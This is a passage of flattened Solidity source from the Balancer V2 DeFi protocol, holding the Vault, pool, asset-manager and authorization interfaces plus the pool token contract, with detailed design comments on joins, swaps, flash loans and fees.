specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to `registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (IProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IVault.sol"; import "./IPoolSwapStructs.sol"; /** * @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not * the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from * either IGeneralPool or IMinimalSwapInfoPool */ interface IBasePool is IPoolSwapStructs { /** * @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of * each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault. * The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect * the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`. * * Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join. * * `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account * designated to receive any benefits (typically pool shares). `balances` contains the total balances * for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as minting pool shares. */ function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts); /** * @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many * tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes * to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`, * as well as collect the reported amount in protocol fees, which the Pool should calculate based on * `protocolSwapFeePercentage`. * * Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share. * * `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account * to which the Vault will send the proceeds. `balances` contains the total token balances for each token * the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as burning pool shares. */ function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts); function getPoolId() external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IAssetManager { /** * @notice Emitted when asset manager is rebalanced */ event Rebalance(bytes32 poolId); /** * @notice Sets the config */ function setConfig(bytes32 poolId, bytes calldata config) external; /** * Note: No function to read the asset manager config is included in IAssetManager * as the signature is expected to vary between asset manager implementations */ /** * @notice Returns the asset manager's token */ function getToken() external view returns (IERC20); /** * @return the current assets under management of this asset manager */ function getAUM(bytes32 poolId) external view returns (uint256); /** * @return poolCash - The up-to-date cash balance of the pool * @return poolManaged - The up-to-date managed balance of the pool */ function getPoolBalances(bytes32 poolId) external view returns (uint256 poolCash, uint256 poolManaged); /** * @return The difference in tokens between the target investment * and the currently invested amount (i.e. the amount that can be invested) */ function maxInvestableBalance(bytes32 poolId) external view returns (int256); /** * @notice Updates the Vault on the value of the pool's investment returns */ function updateBalanceOfPool(bytes32 poolId) external; /** * @notice Determines whether the pool should rebalance given the provided balances */ function shouldRebalance(uint256 cash, uint256 managed) external view returns (bool); /** * @notice Rebalances funds between the pool and the asset manager to maintain target investment percentage. * @param poolId - the poolId of the pool to be rebalanced * @param force - a boolean representing whether a rebalance should be forced even when the pool is near balance */ function rebalance(bytes32 poolId, bool force) external; /** * @notice allows an authorized rebalancer to remove capital to facilitate large withdrawals * @param poolId - the poolId of the pool to withdraw funds back to * @param amount - the amount of tokens to withdraw back to the pool */ function capitalOut(bytes32 poolId, uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20Permit.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; /** * @title Highly opinionated token implementation * @author Balancer Labs * @dev * - Includes functions to increase and decrease allowance as a workaround * for the well-known issue with `approve`: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * - Allows for 'infinite allowance', where an allowance of 0xff..ff is not * decreased by calls to transferFrom * - Lets a token holder use `transferFrom` to send their own tokens, * without first setting allowance * - Emits 'Approval' events whenever allowance is changed by `transferFrom` * - Assigns infinite allowance for all token holders to the Vault */ contract BalancerPoolToken is ERC20Permit { IVault private immutable _vault; constructor( string memory tokenName, string memory tokenSymbol, IVault vault ) ERC20(tokenName, tokenSymbol) ERC20Permit(tokenName) { _vault = vault; } function getVault() public view returns (IVault) { return _vault; } // Overrides /** * @dev Override to grant the Vault infinite allowance, causing for Pool Tokens to not require approval. * * This is sound as the Vault already provides authorization mechanisms when initiation token transfers, which this * contract inherits. */ function allowance(address owner, address spender) public view override returns (uint256) { if (spender == address(getVault())) { return uint256(-1); } else { return super.allowance(owner, spender); } } /** * @dev Override to allow for 'infinite allowance' and let the token owner use `transferFrom` with no self-allowance */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { uint256 currentAllowance = allowance(sender, msg.sender); _require(msg.sender == sender || currentAllowance >= amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE); _transfer(sender, recipient, amount); if (msg.sender != sender && currentAllowance != uint256(-1)) { // Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Override to allow decreasing allowance by more than the current amount (setting it to zero) */ function decreaseAllowance(address spender, uint256 amount) public override returns (bool) { uint256 currentAllowance = allowance(msg.sender, spender); if (amount >= currentAllowance) { _approve(msg.sender, spender, 0); } else { // No risk of underflow due to if condition _approve(msg.sender, spender, currentAllowance - amount); } return true; } // Internal functions function _mintPoolTokens(address recipient, uint256 amount) internal { _mint(recipient, amount); } function _burnPoolTokens(address sender, uint256 amount) internal { _burn(sender, amount); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IAuthorizer.sol"; /** * @dev Base authorization layer implementation for Pools. * * The owner account can call some of the permissioned functions - access control of the rest is delegated to the * Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership, * granular roles, etc., could be built on top of this by making the owner a smart contract. * * Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate * control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`. */ abstract contract BasePoolAuthorization is Authentication { address private immutable _owner; address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B; constructor(address owner) { _owner = owner; } function getOwner() public view returns (address) { return _owner; } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) { // Only the owner can perform "owner only" actions, unless the owner is delegated. return msg.sender == getOwner(); } else { // Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated. return _getAuthorizer().canPerform(actionId, account, address(this)); } } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual returns (bool); function _getAuthorizer() internal view virtual returns (IAuthorizer); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, Errors.SUB_OVERFLOW); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) { _require(b <= a, errorCode); uint256 c = a - b; return c; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY 